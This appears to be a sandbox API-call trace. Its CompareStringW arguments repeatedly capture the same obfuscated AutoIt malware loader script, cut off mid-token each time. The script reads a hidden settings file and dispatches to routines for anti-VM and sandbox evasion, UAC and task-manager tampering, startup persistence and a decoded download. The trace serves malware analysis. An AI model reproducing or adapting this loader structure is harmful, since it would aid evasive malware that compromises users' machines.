$FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.201] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="00\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.201] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0x", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.201] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.201] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 